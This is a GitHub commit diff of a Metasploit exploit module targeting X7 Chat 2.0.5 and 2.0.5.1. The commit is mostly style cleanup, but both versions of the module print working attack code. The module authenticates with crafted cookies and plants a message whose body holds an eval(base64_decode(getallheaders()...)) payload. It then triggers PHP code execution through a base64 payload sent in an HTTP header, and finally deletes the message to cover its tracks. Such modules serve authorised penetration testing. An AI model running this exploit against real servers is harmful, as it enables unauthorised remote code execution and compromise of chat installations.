Skip to content

Commit 9f21ac8

Browse files
committed
Fix issues reported by wchen-r7
1 parent 2ba2388 commit 9f21ac8

File tree

1 file changed

+31
-33
lines changed

1 file changed

+31
-33
lines changed

modules/exploits/multi/http/x7chat2_php_exec.rb

Lines changed: 31 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -15,8 +15,8 @@ def initialize(info = {})
1515
super(update_info(info,
1616
'Name' => 'The X7 Group X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution',
1717
'Description' => %q{
18-
Library lib/message.php for X7 Chat 2.0.5 uses preg_replace() function with the /e modifier.
19-
This allows execute PHP code in the remote machine.
18+
Library lib/message.php for X7 Chat version 2.0.5 and 2.0.5.1 uses preg_replace() function with the /e modifier.
19+
This allows execute PHP code in the remote machine.
2020
},
2121
'License' => MSF_LICENSE,
2222
'Author' =>
@@ -25,10 +25,8 @@ def initialize(info = {})
2525
'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
2626
],
2727
'Platform' => ['php'],
28-
'Arch' => ARCH_PHP,
29-
'Targets' => [
30-
['Generic (PHP Payload)', {}]
31-
],
28+
'Arch' => ARCH_PHP,
29+
'Targets' => [['Generic (PHP Payload)', {}]],
3230
'DisclosureDate' => 'Oct 27 2014',
3331
'DefaultTarget' => 0))
3432

@@ -41,7 +39,7 @@ def initialize(info = {})
4139
end
4240

4341
def check
44-
res = exec_php("phpinfo(); die();", true)
42+
res = exec_php('phpinfo(); die();', true)
4543

4644
if res && res.body =~ /This program makes use of the Zend/
4745
return Exploit::CheckCode::Vulnerable
@@ -52,60 +50,60 @@ def check
5250

5351
def exec_php(php_code, check = false)
5452

55-
cookie_x7c2u = "X7C2U=" + datastore['USERNAME']
56-
cookie_x7c2p = "X7C2P=" + Rex::Text.md5(datastore['USERNAME'])
53+
cookie_x7c2u = "X7C2U=#{ datastore['USERNAME'] }"
54+
cookie_x7c2p = "X7C2P=#{ Rex::Text.md5(datastore['USERNAME']) }"
5755
rand_text = Rex::Text.rand_text_alpha(5, 8)
5856

5957
# remove comments, line breaks and spaces
6058
praw = php_code.gsub(/(\s+)|(#.*)/, '')
6159

6260
# clean b64 (we can not use quotes or apostrophes and b64 string must not contain equals)
6361
while Rex::Text.encode_base64(praw) =~ /==/ || Rex::Text.encode_base64(praw) =~ /=/
64-
praw = praw + " "
62+
praw = "#{ praw } "
6563
end
6664

6765
pb64 = Rex::Text.encode_base64(praw)
6866

69-
print_status("Sending offline message (#{rand_text}) to #{datastore['USERNAME']}...")
67+
print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...")
7068
res = send_request_cgi({
7169
'method' => 'GET',
7270
'uri' => normalize_uri(target_uri.path, 'index.php'),
7371
'headers' => {
74-
'Cookie' => "#{cookie_x7c2u}; #{cookie_x7c2p};",
72+
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
7573
},
7674
'vars_get' => {
7775
'act' => 'userpanel',
7876
'cp_page' => 'msgcenter',
79-
'to' => datastore['USERNAME'],
77+
'to' => datastore['USERNAME'],
8078
'subject' => rand_text,
81-
'body' => "#{rand_text}www.${eval(base64_decode(getallheaders()[p]))}.c#{rand_text}",
79+
'body' => "#{ rand_text }www.${eval(base64_decode(getallheaders()[#{ rand_text }]))}.c#{ rand_text }",
8280
}
8381
})
8482

8583
if res && res.code == 200
86-
print_good("Message (#{rand_text}) sent successfully")
84+
print_good("Message (#{ rand_text }) sent successfully")
8785
else
88-
print_error("Sending the message (#{rand_text}) has failed")
89-
return Exploit::CheckCode::Unknown
86+
print_error("Sending the message (#{ rand_text }) has failed")
87+
return
9088
end
9189

92-
if res && res.body =~ /([0-9]*)">#{rand_text}/
93-
message_id = $1
90+
if res && res.body =~ /([0-9]*)">#{ rand_text }/
91+
message_id = Regexp.last_match[1]
9492
else
95-
print_error("Could not find message (#{rand_text}) in the message list")
96-
return Exploit::CheckCode::Unknown
93+
print_error("Could not find message (#{ rand_text }) in the message list")
94+
return
9795
end
9896

99-
print_status("Accessing message (#{rand_text})")
100-
print_status("Sending payload in HTTP header 'p'")
97+
print_status("Accessing message (#{ rand_text })")
98+
print_status("Sending payload in HTTP header '#{ rand_text }'")
10199
res = send_request_cgi({
102-
'method' => 'GET',
103-
'uri' => normalize_uri(target_uri.path, 'index.php'),
104-
'headers' => {
105-
'Cookie' => "#{cookie_x7c2u}; #{cookie_x7c2p};",
106-
'p' => "#{pb64}",
100+
'method' => 'GET',
101+
'uri' => normalize_uri(target_uri.path, 'index.php'),
102+
'headers' => {
103+
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
104+
rand_text => pb64,
107105
},
108-
'vars_get' => {
106+
'vars_get' => {
109107
'act' => 'userpanel',
110108
'cp_page' => 'msgcenter',
111109
'read' => message_id,
@@ -114,12 +112,12 @@ def exec_php(php_code, check = false)
114112

115113
res_payload = res
116114

117-
print_status("Deleting message (#{rand_text})")
115+
print_status("Deleting message (#{ rand_text })")
118116
res = send_request_cgi({
119117
'method' => 'GET',
120118
'uri' => normalize_uri(target_uri.path, 'index.php'),
121119
'headers' => {
122-
'Cookie' => "#{cookie_x7c2u}; #{cookie_x7c2p};",
120+
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
123121
},
124122
'vars_get' => {
125123
'act' => 'userpanel',
@@ -129,9 +127,9 @@ def exec_php(php_code, check = false)
129127
})
130128

131129
if res && res.body =~ /The message has been deleted/
132-
print_good("Message (#{rand_text}) removed")
130+
print_good("Message (#{ rand_text }) removed")
133131
else
134-
print_error("Removing message (#{rand_text}) has failed")
132+
print_error("Removing message (#{ rand_text }) has failed")
135133
end
136134

137135
# if check return the response

0 commit comments

Comments
 (0)